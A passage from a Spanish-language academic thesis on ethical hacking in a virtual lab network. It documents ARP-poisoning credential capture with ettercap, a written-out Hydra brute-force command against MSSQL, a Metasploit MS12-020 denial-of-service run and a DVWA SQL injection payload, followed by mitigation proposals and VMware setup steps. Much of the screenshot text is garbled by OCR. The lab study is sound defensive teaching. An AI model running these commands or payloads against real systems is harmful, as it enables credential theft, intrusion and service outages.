informacion e incluso una respuesta por parte del Protocolo SMTP, identificando su
actividad (EHLO).
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*eth0 o0
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

T—*—ﬂ-—ﬂ-——“ ERE Qe» 0w = '
i | Stop capturing packets |~ == % 4 i

Q
R | Apply a display filter .. <Ctrl-/> 2 - Expression.. +

Destination Protocol Length Info

192.168.231.161 192.168,231.100 66 45618 ~ 25 [ACK] Seq=3

Vmware_8f:21:97 Broadcast 60 Who has 192.168.231.1C__
Vmware_22:85:6¢ Vaware_8f1:21:97 ARP 60 192.168.231.1 is at 06
192.168.231.160 192.168,231.1 DNS 88 Standard query Ox6ade
192.168.231.101 192.168,.231.1 DNS B84 Standard query Oxb242 e
192.168.231.101 192.168.231.1 DNS 81 Standard query 8xfco@
192.168.231. 192.168.231.1 81 Standard query 0x7e88
192,168.231. 192.168.231.1 B8 Standard query 6x6ade

192 168 231 192 16AR

231 101 AA 25 « 45AR1R Senz1 Y.
»

» Frame 33: 72 bytes on wire (576 bits), 72 bytes captured (576 bits) on interface @ =
» Ethernet II, Src: Vmware_cc:a0:93 (00:0¢:29:cc:a0:93), Dst: Vmware _8f:21:97 (00:0¢:2¢

+ Internet Protocol Version 4, Src: 192.168.231,101, Dst: 192.168.231.1600 -

‘4 ’
00 Oc 29 8f 21 97 00 Bc 29 cc ad 93 68 00 45 80 )-! ) E =

0010 [N ©3 26 40 00 40 06 €7 7c cO aB e7 65 co a8 [ a0 | e -

© 7  wireshark_eth..xH8BXLpcapng Packets: 566 - Displayed: 566 (100.0%) - Dropped: 0 (0.0%)  Profile: Default
Figura 84. Resultado de monitoreo con Wireshark
Fuente: elaboracion propia

6.3.2. Ataque de hombre en el medio

Ataque con ettercap

La aplicacion permitié capturar claves de acceso de servicios web generadas desde
un cliente de la red. Se muestra el ataque de envenenamiento ARP efectuado para

interceptar los datos generados hacia el servidor.

ettercap 0.8.2 e @ J
Start Targets Hosts View Mitm Filters Logging Plugins Info
Host List =

IP Address MAC Address Description
192.168.230.1  00:50:56: 2A:D8:TC
192.168.230.2 0000C:29:B4:90:B8

8, 230, 100 OCk0C: 2548 7 10

d

L

Delete Host Add to Target 1 Add to Target 2

WUnified sniffing already started
4TTP : 192.168.230.100:80 ->JUSER: alex PASS: hello INFO-Jhttp:/7192. 168, 230. 100/dvwantogin php|
[CONTENT: usemname=alex &password=hello&Login=Login

HTTP : 192 168.230.100:80 ->JUSER: admin PASS: 1234 INFOhttpc//192_ 168 230, 100imutillidae/index. php? page slogin.phy
[LONTENT: usemame =admin &password = 1.2 34 &login-php-submt-button= Login

Figura 85. Descubrimiento de contrasefias de acceso web.
Fuente: elaboracion propia
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Resultados obtenidos

El médulo sniffer, permitio identificar las comunicaciones y peticiones de servicios a
través de la tarjeta de red desde un cliente. En la Figura se visualizan las siguientes

conexiones detectadas:

Desde el equipo 192.168.230.100, se accede al sitio web
http://192.168.230.100/dvwa/login.php, con el usuario “alex” y la contrasefia “hello”,

para acceder a la administracion de un servicio web.

Por su parte, utilizando Wireshark, se verificaron los eventos suscitados en el servidor,
repitiendo el envio de paquetes SYN, obteniendo como respuesta un ACK, a lavez se

capturd los datos pertenecientes al servicio DVWA, tal como se muestra en la Figura.

*eth0 e o6
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

A m © B[ IRE Q « » Jes»w= = @ a @ IF

| |}'—‘1|):.‘.-l‘_," a display filter ... <Ctrl-/> '] Expression.. =+
Source Destination Protocol Length Info

Vmware_99:63:6f Vmware_2a:d8:7c ARP <j 42 Who has 192.168.230.17 Te
Vmware_2a:d8:7c Vmware_99:63:6T ARP 60 192.168.230.1 is at 00:50
feB0::clc4:97aa:544.. ffez2::1:2 DHCPv6 153 Solicit XID: @xd766f CID:
Vmware_99:63:6f Vmware_b4:98:b8 ARP 42 192.168.230.100 is at 00:
Vmware_99:63:6T Vmware_48:2c:1c ARP 42 192.168.230.2 is at ee:ec
fe80::c1c4:97aa:544.. ffe2::1:2 DHCPv6 153 Solicit XID: @xd766f CID:
feB80::clc4:97aa:544.. ffe2::1:2 DHCPv6 153 Solicit XID: d766f CID:
fe80::clc4:97aa:544.. ffe2::1:2 DHCPv6 153 Solicit XID: 766T CID:

192.168.230.2 192.168.230.100 TCP 66 49250 — 80 [SYN] Seq=0 Wi
19 : 1 )0 TCP CP ion] ¢

192.168.230.2 TCP 66 80
- TCcP =
TCP

192.168.230.

192.168.230.2 192.168.230.100 60 49258 — 80 [ACK] Seg=1 Ac

192.168.230.2 192.168.230.100 HTTP 596 POST /dvwa/login.php HTTP
192 168 23A 2 192 168 23A 1AA TP 54 49250 — 8A [ACK] Sen=1 Ac b
1 »

~ Transmission Control Protocol, Src Port: 49250, Dst Port: 80, Seq: 975, Ack: 2087, Le*
Source Port: 49250
Destination Port: 80 =
1 L3

0000 00 Oc 29 99 63 of PENCCHNESNEANEENEE os oo 45 oo y-col B E =
@0 28 21 bb 40 96 80 06 8b 5cC cO a8 e6 02 c@ a8 (1@ \ -

O ?  wireshark_eth..VtW1IS.pcapng Packets: 382 - Displayed: 382 (100.0%) - Dropped: 0 (0.0%)  Profile: Default
Figura 86. Monitoreo Wireshark de eventos al servicio DVWA
Fuente: elaboracion propia

De la misma manera se detectaron eventos por medio de Wireshark, en el cual, se
identifica el acceso a otro servicio web desde el cliente

http://192.168.230.100/mutillidae/index.php?page=login.php, con el usuario “admin”y

la contrasefia “1234”. Se puede apreciar en la Figura los datos que han sido

ingresados y verificados desde el servidor para su validacién.
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*ethO e ® O
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AE @ b RE QA «» Je = = aaqaFF

| ‘Ap::-t\_,' a display filter ... <Ctrl-/> '] Expression... +
Source Destination Protocol Length Info —
Vmware_99:63:6T Vmware_b4:90:b8 ARP 42 192.168.230.1600 is at G0:
Vmware_99:63:6T Vmware_48:2c:1c ARP<] 42 192.168.230.2 is at 00:0c
Vmware_99:63:6T Vmware_b4:90:b8 ARP 42 192.168.230.100 is at 00:
Vmware_99:63:6T Vmware_48:2c:1c ARP 42 192.168.230.2 is at 00:0c

192.168.230. TCP SYN] Se

192.168.230.2 100 80 [

q=0 Wi
T

., 1 TCP 56 Cl LE M s n L
Vmware_48:2c:1c Broadcast ARP 60 Who has 192.168.230.27 Te
re ba-90-bg Mmware A8-2c-1c ARP 660 192.168.230.2 is at 00:Pc
ﬁBZ .168.230.1600 192.168.230. 2| TCP 66 80 — 49252 [SYN, ACK¢
192.168.230.2 192.168.230.100 TCP 60 49252 — 80 [ACK] Seq=1 Ac
192.168.230.2 192.168.230.1600 HTTP 641 POST /mutillidae/index.ph

192.168.230.100 192.168.230.2 TCP 60 80 — 49252 [ACK] Seqg=1 Ac
Vmware_99:63:6 Vmware_48:2c:1c ARP 42 192.168.230.2 is at 00:0c
192.168.230.100 192.168.230.2 TCP 1514 80 — 49252 [ACK] Seq=1 Ac

Ann arn AnA ann ann arn Ane 8 T AA anArn Fre DTS B

1 »

-

» Frame 12: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) on interface @ =
~ Ethernet II, Src: Vmware_48:2c:1c (@8:0c:29:48:2c:1c), Dst: Vmware_b4:90:b8 (00:0c:2¢

» Destination: Vmware_b4:90:b8 (00:0c:29:b4:96:b8) =

1 »
©0 6c 29 b4 96 b8 00 @c 29 48 2c ic 98 00 45 00 ) )H, - -E E
00160 00 28 1a 19 HEJEE 40 ©6 d2 fe cO a8 e6 64 cO a8 (- -Ele d =

O 7  wireshark_et..Q8Wbh.pcapng = Packets: 385 - Displayed: 385 (100.0%) - Dropped: 0 (0.0%)  Profile: Default

Figura 87. Monitoreo Wireshark de eventos al servicio web.
Fuente: elaboracién propia

6.3.3. Ataques de fuerza bruta (ataque con Hydra)

Esta aplicacion permitié realizar ataques de fuerza bruta basada en un diccionario de

palabras.

Para ello se proporciona los datos el target, es decir, la direccion IP del servidor o el
objetivo que se quiere atacar; el puerto que se utiliza y el protocolo asociado al mismo,

tal como se puede observar en la imagen:

xHydra e e O
Quit
Target | Passwords  Tuning | Specific = Start
Target
@ Single Target [192.168.231.5 '
) Target List | I
[J Prefer IPV6
Protocol Imssq[ v
Output Options
[J Use SSL [ Use old SSL & Be Verbose
& Show Attempts [ Debug
[[J COMPLETE HELP [[] Service Module Usage Details
hydra -s 1433 -v -V -L /root/Desktop/user -P /root/Desktop/pass -e nsr -t 3 192.168.231.5 mssql

Figura 88. Interfaz Hydra para asignar los parametros de la maquina objetivo
Fuente: elaboracion propia
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Ademads, en la pestafia Passwords se proporciona una lista de alternativas que se
utiliza para dar con el usuario y la contrasefia; esto es el diccionario que comprende

las palabras.

En la Figura se muestra la ejecucion de la aplicacion sobre el servidor de base de
datos (SQL SERVER 2008) 192.168.231.5, la cual, intenta identificar a través del
protocolo MSSQL al usuario y contrasefia para conectarse; después de varios intentos
logra dar con los pardmetros correctos, siendo asi, el usuario “sa” y la contrasefia

“password”.

xHydra e ® O
Cluit
Target  Passwords = Tuning | Specific | Start
[ATTEMPT] target 192.168.231.5 - login "admin” - pass "toor" - 7 of 132 [child 1] (0/0) C
[ATTEMPT] target 192.168.231.5 - login "admin” - pass "postgres” - 8 of 132 [child 1] (0/0)
[ATTEMPT] target 192.168.231.5 - login "admin” - pass "1234" - 9 of 132 [child 0] (0/0)
[ATTEMPT] target 192.168.231.5 - login "admin” - pass "batman” - 10 of 132 [child 2] (0/0)
[ATTEMPT] target 192.168.231.5 - login "sa" - pass "sa" - 12 of 132 [child 2] (0/0)
[ATTEMPT] target 192.168.231.5 - login "sa" - pass " - 13 of 132 [child O] (0/0)
[ATTEMPT] target 192.168.231.5 - login "sa” - pass "as” - 14 of 132 [child 1] (0/0)
[ATTEMPT] target 192.168.231.5 - login "sa” - pass "password” - 15 of 132 [child 0] (0/0)
[ATTEMPT] target 192.168.231.5 - login "sa” - pass "admin” - 16 of 132 [child 1] (0/0)
AT e e e e e = togm sy s s Lo T 2] (0/0)
[1433][mssql] host: 192.168.231.5 logln sa password password| PARAMETROS VALIDOS PARA EL ACCESO
- of 132 [child 2] (0/0)
[ATTEMPT] target 192.168.231.5 - login "msfadmin” - pass "admin” - 27 of 132 [child 0] (0/0)
[ATTEMPT] target 192.168.231.5 - login "msfadmin” - pass "user" - 28 of 132 [child 1] (0/0)
[ATTEMPT] target 192.168.231.5 - login "msfadmin” - pass "toor” - 29 of 132 [child 0] (0/0)
[ATTEMPT] target 192.168.231.5 - login "msfadmin” - pass "postgres” - 30 of 132 [child 1] (0/0)
[ATTEMPT] target 192.168.231.5 - login "msfadmin” - pass "1234" - 31 of 132 [child 2] (0/0)
[ATTEMPT] target 192.168.231.5 - login "msfadmin” - pass "batman” - 32 of 132 [child 2] (0/0)
[ATTEMPT] target 192.168.231.5 - login "user" - pass "user" - 34 of 132 [child 0] (0/0)
[ATTEMPT] target 192.168.231.5 - login "user" - pass ™ - 35 of 132 [child 1] (0/0)

[ATTEMPT] target 192.168.231.5 - login "user" - pass "resu" - 36 of 132 [child 1] (0/0) v
T =
|Start| |Stop| |Save Output| |Clear Output|

hydra -5 1433 -v -V -L /root/Desktop/user -P /root/Desktop/pass -e nsr -t 3 192.168.231.5 mssqgl

Figura 89. Resultado del ataque de la fuerza bruta
Fuente: elaboracién propia

Resultados obtenidos

En el monitoreo aplicado con Wireshark al evento “ataque de fuerza bruta”, se puede
identificar los intentos que se ejecutan desde el equipo atacante con las contrasefas
generadas aleatoriamente, como por ejemplo, al intentar validar unos parametros
falsos (“admin” y “postgres”), el Protocolo MSSQL deniega el acceso con un error
Login Failed, en el siguiente intento se valida el usuario y la contrasefa (sa y
password) respectivamente y el Protocolo antes referido permite el acceso generando

la siguiente notificacion “TDS4/5 login”, como muestra la Figura.
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*eth0 @ G O
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

4 @BMRE & «» swsJEaaaf

| |A|:u:_:-l';,-' a display filter ... <Ctrl-/> '] Expression.. +
Destination Protocol Ler Info -
192.168.230.101 TCP .. 1433 - 35020 [FIN, ACK] Seqg=100 Ack=584 Win=66304
192.168.231.5 TCP .. 35020 — 1433 [FIN, ACK] Seq=584 Ack=101 Win=29312
192 168 230 101 ICP 1433 — 35020 [ACK] Seq=101 Ark 585 Win=fE3AA IPn—

192 5 C .. [TCP Retransmission] : - C]
192.168.230.101 TCP .. 1433 - 35018 [SYN, AI:K] Seq =0 Ack= 1 |n|'1n 8192 Len=
192.168.231.5 TCP .. 35018 — 1433 [ACK] Seq=1 Ack=1 Win=29312 Len=0 TS
192.168.231.5 TDS .. TDS4/5 login (Not last buffer)

192.168.230.101 TCP .. 1433 — 35018 [A] Seg=1 Ack=513 Win=66560 Len=0
. TDS4/5 login

3 = = . Response
192.168.231.5 TCP .. 35018 — 1433 [ACK] Seq=584 Ack=291 Win=30336 Len= -
1 L3
.. 0. = Reset connection: False -
...® .... = Reset connection keeping transaction state: False
Length: 71
Channel: @
| Packet Number: 2
Window: @ =
1 L3
Oe4e 62 36 02 01 00 47 00 GO 02 O b6 G =
0858
0060

@ 7 Packet Number (..number), 1 byt: Packets: 26 - Displayed: 26 (100.0%) - Dropped: 0 (0.0%)  Profile: Default

Figura 90. Monitoreo de las actividades de fuerza bruta
Fuente: elaboracion propia

6.3.4. Ataque de denegacion de servicio (DoS)

Se utilizé la herramienta METASPLOIT, el cual viene en el Kali Linux. Para realizar
una representacion de los que significa la denegacién de servicio, se ataco al servidor
Windows 2003 del cual ya se tiene identificado los puertos y servicios habilitados,

ademas las vulnerabilidades que presenta este equipo.

) SERVER 2003 megatron

Se ha encontrado un problema y windows ha sido apagado para evitar danos al equi
po.

sta pantalla de error de
esta pantalla aparece otra

instalado.
are o software

e cualquier nuevo h
de ria de 1a B
el modo a prueba de errore ara quita

equipo, presi 8 para seleccionar
a continuacibn, s | modo a prueba de

msf auxiliary( > run
[*] 192.168.231.140: 192.168.231.140: - Sending MS12-020 Mic
ktop Use-After-Free DoS

[*] 192.168.231.140:3389 - 192.168.231.140: - 210 bytes sent

[*] 192.168.231.140:3389 - 192.168.231.140: - Checking RDP status.
[+] 192.168.231.140:3389 - 192.168.231.140: seems down

[*] Auxiliary module execution completed

Figura 91. Resultado del ataque de denegacion de servicio
Fuente: elaboracién propia

102



Como se puede observar en la imagen anterior mediante el uso de los comandos y el
“‘exploit” que permite explotar la vulnerabilidad del servidor, permite dejar inoperativo
el equipo; esta claro que este de tipo de eventos puede causar que las actividades de
una organizacioén se paralicen hasta que el servicio se restablezca y en el peor de los

casos no se logre restablecerse servidor.

6.3.5. SQL injection

Dentro de las vulnerabilidades que se pueden aplicar dentro del sitio Web, se
selecciond la opcion SQL Injection, adicionalmente dentro de la URL del navegador
web se ingres6é una comilla simple (id’=), que permitié identificar la vulnerabilidad

dentro de la pagina, en la Figura se visualiza el proceso realizado.

Archivo Editar Ver Historial Marcadores Herramientas Ayuda

Damn Vulnerable Web App (DV..

<4 jass.com.ec/dvwa/vulnerabilities/sql

— | Vulnerability: SQL Injection

Jnstuctons | User ID:

Command Execution | More info

Figura 92. Identificacion de vulnerabilidad SQL INJECTION
Fuente: elaboracién propia

En la Figura se observa que el mensaje devuelto por el servidor, hace referencia a un
error de sintaxis en la consulta SQL, por lo tanto, es vulnerable y se puede proceder a
una inyeccion SQL.

Archivo Edit Ver Historial Marcadores Herramienta

http:/jass.co...Submit=Submit#
\,:_. ] Jass.com.ec - &| |2y~ Q| @

You hswe an errar in your SDL syntax; check the manial that corresponds o your HYSOL server version for the right syntas to use rear 0 at line 1

Figura 93. Mensaje de error SQL
Fuente: elaboracion propia

Resultados obtenidos

Posteriormente se accedié de nuevo al sitio web para insertar una sintaxis SQL dentro
del cuadro de texto de la pagina, la sintaxis aplicada fue 1 OR 1=1--, el cual permitira

visualizar el primer usuario de la lista. En la Figura 81 se detalla el proceso.
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Archive Editar Ver Historial Marcadores Herramier

B camn vulnerable web App (DV. ..
‘:_ [ jass.com.ec v& M~ =y ﬂﬁ-
e Vulnerability: SQL Injection
Imstructions user 1D
Sets
10R 1=1 | Submit |
ENEE I 1 OR 1=1
Command Execution First nanz: =dnin
Surrane:  mdmin
CSRF
File Inclusicn
More info
SQL Injecition [Blind)
Upland
XSS reflecied
K55 stored
DVWA Security
PHP Info F

Figura 94. Consulta a través de Inyeccién SQL
Fuente: elaboracién propia

En la herramienta Wireshark instalada en el servidor, se puede visualizar los eventos
generados de acuerdo a la consulta SQL ingresada en la pagina web, en la Figura se

muestran los detalles de los datos detectados.

Capturing from eth0 Q ® 0
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

B2 ® D RXEC QA «» Jled= =@ aaFFE

|.q|A|J:?-ly a display filter ... <Ctrl-/> 4 '] Expression.. +
No. Time Source Destination Protocol Ler Info =
: 11 ©.097720927 192.168.230.101 192.168.230.1 DNS .. Standard qu
! 12 ©0.098000719 192.168.230.1 192.168.230.101 DNS .. Standard gu

13 ©.391089838 192.168.230.1 192.168.230.101 DNS .. Standard qui
14 g - = = = A

16 15.821085358 192.168.230.101 192.168.231.100 TCP . 953632 - 80

17 15.021488674 192.168.231.100 192.168.230.101 TCP . 86 — 53632
18 15.021509081 192.168.230.101 192.168.231.100 TCP . 53632 — 80
19 22.926670948 192.168.230.101 181.224.249.90 NTP .. NTP Version
20 23.065320867 181.224.249.90 192.168.230.101 NTP .. NTP Version

4 3

» Frame 1: 74 bytes on wire (592 bits), 74 bytes captured (592 bits) on interface ©

» Ethernet II, Src: Vmware_99:63:6f (00:0c:29:99:63:6T), Dst: Vmware_2a:d8:7c (00:50:56:
» Internet Protocol Version 4, Src: 192.168.230.101, Dst: 192.168.231.1060

» Transmission Control Protoceol, Src Port: 53632, Dst Port: 8@, Seq: @, Len: ©

©0 50 56 2a d8 7c 00 @c 29 99 63 6f 08 00 45 80 -PV*-|-- )-co-E =
00 3c 9e 3c 40 00 40 06 4d 64 cO a8 e6 65 cO a8 -<-<@-@ Md- - -e
0020 e7 64 B8 00 50 08 Ga 63 78 00 00 PO 00 a® 02 dill P-- cx =

@ #  eth0: <live capture in progress> Packets: 20 - Displayed: 20 (100.0%)  Profile: Default
Figura 95. Datos detectados en Wireshark de Inyeccion SQL
Fuente: elaboracién propia

6.4. Propuestas de mitigacion

6.4.1. Mitigacion ataques de escaneo de puertos

Para el control de ataques de barrido de puertos, se sugiere implementar una

herramienta Antivirus que permita bloquear las amenazas a nivel de malware y de red.
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Una alternativa a considerar seria ESET Smart Security, entre sus caracteristicas
principales posee proteccion antimalware, HIPS (Sistema de prevencion de
intrusiones basado en el Host), Cortafuegos Personal, entre otras. En la Figura se

visualiza la ventana principal de la proteccién antivirus ESET implementada.

).

Figura 96. Pantalla de interfaz del smart security A
Fuente: https://ar.tienda.eset-la.com/eset-smart-security-premium

......

Adicionalmente implementar el uso del Cortafuegos (UFW) e Iptables en el equipo
(Server que hace de firewall), los cuales permiten restringir el acceso a los puertos
habilitados. Con estas acciones permitiran mitigar el problema referido al escaneo de

puertos.

6.4.2. Mitigacién de ataques de hombre en el medio

Una de las alternativas de mitigacion es implementar para el control de este tipo de
ataques es el software Antivirus; mediante el motor de analisis en tiempo real del
producto, se identifica a los archivos de la aplicacion referidas para estas tareas,
clasificandolos como aplicaciones potencialmente peligrosas, y finalmente impide la
ejecucion de la misma (enviando al modulo de cuarentena para su evaluacion y

posterior eliminacion).

Adicionalmente implementar la herramienta “Arpwatch” dentro del servidor (Monowall),
esta aplicacién permite generar notificaciones a una cuenta de correo electrénico, en
el momento que el servidor esta siendo atacado desde un equipo especifico; de esta
manera el administrador de la red, puede evaluar la actividad sospechosa generada

desde un equipo cliente local.

6.4.3. Mitigacién de ataques de fuerza bruta

Para la mitigacién de ataques de fuerza bruta, implementar el control de puertos a
través de Iptables dentro del equipo Server (Monowall), esto permite limitar el acceso

a los puertos. En consecuencia, la ejecucion de ataques con Medusa, hidra y otras
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aplicaciones con el proposito de establecer conexion, no surte efecto; al recibir la

negativa de acceso, deja de intentar la comunicacion.

6.4.4. Mitigacion de ataques de denegacion de servicio (DoS)

Para control de ataques de denegacion de servicio, implementar controles en el
Iptables, que permita limitar el acceso reiterado de peticiones, adicionalmente dentro
de la configuracion de Iptables, agregar las lineas de cédigo que deshabilitan la
conexion al detectar varios intentos reiterados de comunicacién. Ejemplo de ello se
puede considerar, que a partir de la décima conexion se aplique el bloqueo de la
conexion por 60 segundos en los paquetes de entrada. Con estas restricciones

aplicadas, se corrige la vulnerabilidad.

6.4.5. Mitigacién de ataques inyeccién SQL

Para el control de este tipo de ataques, es necesario implementar un filtro dentro de la
programacion que permita controlar el acceso de caracteres especiales en el
formulario HTML, para que la pagina Web los identifique como un texto simple y no
como una sentencia SQL, esto se consigue agregando codigo PHP para el filtro de
caracteres especiales. Esta claro que estas caracteristicas deben ser esenciales para
considerar la construccion de los sistemas a medida; puesto que tiene ver con la tarea

que realiza directamente el desarrollador.
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CONCLUSIONES

En esta investigacion se logré construir un modelo de red virtual dentro del equipo
anfitrion empleando la metodologia Cisco (PPDIO), dicho modelo permitié obtener una
representacion de un entorno organizacional de datos y en consecuencia aplicar
técnicas de hacking ético y analizar los eventos relacionados a la seguridad

informatica.

Las herramientas que se emplearon para el disefio y construccién de la red virtual
fueron: software de virtualizacibn VMware player, sobre el cual se instalaron todas las
maquinas virtuales (clientes, servidor y equipo de comunicacion de red) permitiendo
configurar tres segmentos de red, software Monowall que proporcioné todas las
caracteristicas de un firewall comercial con una interfaz web bastante comoda y facil
de administrar, se instalaron los sistemas operativos Windows Server 2008, Windows
Server 2003, FreeBSD (Unix), Metasploitables (Linux) para hacer la representacion
del segmento del servidor y finalmente se instalaron los sistema operativos Ubuntu,

Windows 7 y Windows XP como terminales en el segmento del cliente.

Para la implementacion del hacking ético sobre la red virtual se utiliz6 como estrategia,
las cuatro fases del pentest (recopilacion de informacion, analisis de vulnerabilidades,
explotacion y post explotacién) los cuales son trasversales a la metodologia OSSTMM,
ISSAF y OWASP; respecto a las herramientas se emple6 Kali Linux como herramienta
principal, ademas de otras aplicaciones de distribucion libre para plataformas Windows
y Linux como Foca, Maltego, Nmap, Zenmap, Nesus, Openvas, Hydra, Ettercap,
Medusa, Framework Metasploit; que permitieron la induccion de ataques de

penetracion al segmento del lado del servidor y cliente.

Para el analisis y monitoreo de los eventos generados en materia de seguridad
informatica en cada uno de los fases del hacking ético se empled el software
Wireshark; dicho andlisis consistio entender el comportamiento de cada ataque
generado y examinar los resultados obtenidos; producto de ello se pudo identificar el
equipo que origino los ataques, los puertos y protocolos utilizados por las herramientas
para lograr detectar las vulnerabilidades asociados a los elementos que conforman la
red virtual, el nivel de concurrencia de los eventos que pudieron registrarse en contra
de la seguridad de los servicios implementados. Los ataques que se sometieron al
analisis fueron: escaneo de puerto, hombre en el medio, fuerza bruta, denegacion de

servicios e inyeccion SQL.
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RECOMENDACIONES

Para la implementacion de una red virtual se recomienda que el equipo anfitrion
(equipo donde se simula la red virtual) tenga buenas caracteristicas en cuanto a
memoria, procesador y tarjeta de video; esto permitira tener, habilitado o encendido de
manera paralela mas sistemas virtualizados, ya que cada sistema instalado en el

VMware consume recursos del ordenador.

Tomar conciencia sobre la importancia de la implementacion del Hacking ético; puesto
que permitira descubrir configuraciones inadecuadas y vislumbrar un panorama de las
vulnerabilidades del sistema; de todo lo anterior emergera informacion valiosa para la

aplicacién de medidas preventivas y correctivas.

Se recomienda implementar un control mas estricto en los clientes, siendo necesario
limitar los permisos de usuario en cada equipo, con la finalidad de impedir que las
personas que puedan laborar dentro de una compafia, instalen aplicaciones
innecesarias que les permita generar acciones en contra de los equipos de lared y los

servicios prestados.

Es importante actualizar los productos de seguridad de software y hardware, debido a
qgue, en cada nueva version se aplican correcciones y nuevas funcionalidades que

ayudaran a detectar y controlar ataques nuevos o poco conocidos.
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ANEXOS
Anexo A: instalacion del virtualizador VMware.

Se usO la herramienta mas conocida para virtualizar, VMware, ésta soporta una gran
cantidad de caracteristicas, sistemas operativos como Windows, Mac, Linux etc. Antes de
ello se tiene que validar que el equipo anfitrion cumpla con los requerimientos para su

instalacion, los cuales son:
¢ Velacion de frecuencia de minima de 1.3 GHz minimo.
¢ Memoria RAM de 1 GB.
e Disco duro de 20 GB minimo.

El instalador de programa se puede obtener de la pagina oficial, para el caso se utiliza la

version personal, el cual es gratuito.
Una vez que se tenga nuestro archivo ejecutable se procede a dar doble clic en él para
abrir el asistente de instalacion:

Instalacion del producto VMware

=71 Preparando la instalacion de VMware Workstation...
E

L | Cancelar

iz, VMware Workstation Pro Setup - o IES

Welcome to the VMware Workstation Pro
Setup Wizard

VMWARE

. - The Setup Wizard allows you to change the way VMware
WORKSTE T|ON Workstation Pro features are installed on your computer or
PRO : to remove it from your computer, Click Next to continue or

E Cancel to exit the Setup Wizard.
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http://www.solvetic.com/tutoriales/article/3078-como-optimizar-gratis-windows-10-8-7-con-vmware/
http://www.solvetic.com/tutoriales/article/3186-como-virtualizar-macos-sierra-en-vmware-windows-10/

ﬁ Firewall-Monowall

P Power on this virtual machine
':JE_I]Edit".-'il"tLlﬂ machine settings

* Devices
i fMermory 236 ME
[ Processors 1

iy Hard Diisk (SC51) 20 GB

-y CO/DVD (IDE) Using file DA 201...
EEINethrk Adapter Bridged (Autom... I

USE Controller  Present

@) Sound Card Auto detect

gDispla}r Auto detect

Se elige la opcion Siguiente, se desplegara la ventana para aceptar los términos de la

licencia:
] VMware Workstation Pro Setup | = | = [IG]
End-User License Agreement —
Please read the following license agreement carefully R
VMWARE END USER LICENSE AGREEMENT A

PLEASE NOTE THAT THE TERMS OF THIS END USER
LICENSE AGREEMENT SHALL GOVERN YOUR USE
OF THE SOFTWARE, REGARDLESS OF ANY TERMS
THAT MAY APPEAR DURING THE INSTALLATION OF
THE SOFTWARE.

[ 17 accept the terms in the License Agreement:

Se marca el check box | Accept the terms in the License Agreement, para aceptar los
términos de la licencia, clic en Next, se desplegara una ventana donde se elegi la ubicacion

para la instalacién.
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Custom Setup
Select the installation destination and any additional features.

Install to:
C:\Program Files (x86)\VMware\VMware Workstation,

[ ]Enhanced Keyboard Driver (a reboot will be required to use this feature)
This feature requires 10MB on your host drive.

Se da clic en Next y elegir si se instalan automaticamente las actualizaciones y si se desea
enviar nuestra experiencia con el producto a VMWare para su revision (Elegir lo que més
convenga).

User Experience Settings
Edit default settings that can improve your user experience.

[W] Check for product updates on startup
When VMware Workstation Pro starts, check for new versions of the application
and installed software components,

[w] Help improve VMware Workstation Pro

Send anonymous system data and usage statistics to VMware.

Clic en Next, y a continuacion se puede elegir los iconos en el escritorio y en el menu Inicio

(Elegir lo que mejor convenga)
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Shortcuts
Select the shortcuts you wish to place on your system.

Create shortcuts for VMware Workstation Pro in the following places:

[/] Desktop
[] start Menu Programs Folder

Clic en Next, el asistente indica que esté listo para comenzar el proceso de instalacion de
VMWare Workstation Pro, clic en Install.

Ready to install VMware Workstation Pro

Click Install to beain the installation. Click Back to review or change any of your
installation settings. Click Cancel to exit the wizard.

Comenzara el proceso de instalacion del producto.
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Installing VMware Workstation Pro o

Please wait while the Setup Wizard installs VMware Workstation Pro.

Installing VMware Workstation Pro

Please wait while the Setup Wizard installs VMware Workstation Pro.

Status:  Configuring Windows Firewall [%

Finalmente se tiene nuestra instalacion satisfactoria, se procede a dar clic en el botdn
Finish.
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§c) VMuware Workstation Pro Setup

Completed the VMware Workstation Pro Setup
Wizard

W'wmaER KSTAT ION: Click the Finish button to exit the Setup Wizard.
PRO h v
-

Press the License button below if you want to enter 3 license
key now,

Una vez que se haya instalado nuestro programa, se procede a ejecutarlo dando doble

clic sobre el icono en el escritorio 0 a través del menu Inicio, la ventana desplegada sera

la siguiente:
=) VMware Workstation - o IEN
Ble Ede Yiew VM Dibe e 0 e 51
s X1 G wome ) Windows Server 2012(5)
My Computer
) Windows Server 2008 H .
5 Wadows e 212 WORKSTATION 12
D Shared VWi
Create a New Open a Virtual Connect to » Connect to
Virtual Machine Machine Remote Server VMware vCloud Ar

y Y
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Anexo B: Instalacion del firewall Monowall

Se procedera con la instalacion del sistema, para ello se ingresa al VMware en la opcién

File y se da en New Virtual Machine

@ YWihlware Workstation

File Edit View VM Tabs Help

(3] New Virtual Machine... CerleN

o New Window
Open... Ctrl+-0 [

Cloze Tab Ctrl+W

Connect to Server... Ctrl+L

Connect to VBAware vCloud Air...

[ F

Virtualize a Physical Machine...
Export to OVF...
Map Virtual Disks...

[

Exit

Elegir la opcién Typical (recomendado)

Welcome to the New Virtual
Machine Wizard

What type of configuration do you want?

(®) Typical (recommended)

Create a Workstation 12,0 virtual machine
in a few easy steps.

() Custom {advanced)

Create a virtual machine with advanced
options, such as a SCSI contraller type,
wvirtual disk type and compatibility with
older ¥YMware products,

Help < Back Mext = Cancel

Se ubica la direccion donde se tiene el instalador en el formato .iso y se da en botdn

siguiente
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Guest Operating System Installation
A virtual machine is like a physical computer; it needs an operating
system. How will you install the guest operating system?
Install from:
() Installer disc:

== Unidad de DVD RW (E:)

(®) Installer disc image file (iso):

| D:12018\CURSO DE SEGURIDAD FINAL\SISTEMA OPEF ~- Browse. ..

i‘. Could not detect which operating system is in this disc image.
You will need to spedfy which operating system wil be installed.

()1 will install the operating system later.
The virtual machine will be created with a blank hard disk.

Help < Back Mext = Cancel

Se tiene el tipo de sistema operativo que se instalara y la version para el caso sera Other

y FreeBSD respectivamente.

I W BAMAFF Tl FELF & § i 5§ BF W

Select a Guest Operating System
Which operating system will be installed on this virtual machine?

Guest operating system

() Microsoft Windows

O Linux

() Movell NetWare
() solaris

() VMware ESX
(®) Other

Version

FreeBsD 64-hit w

Help = Back Mext = Cancel

T

En la venta siguiente se ingresara en nombre de la maquina virtual “Firewall-Monowall” y

dar en el botén Next
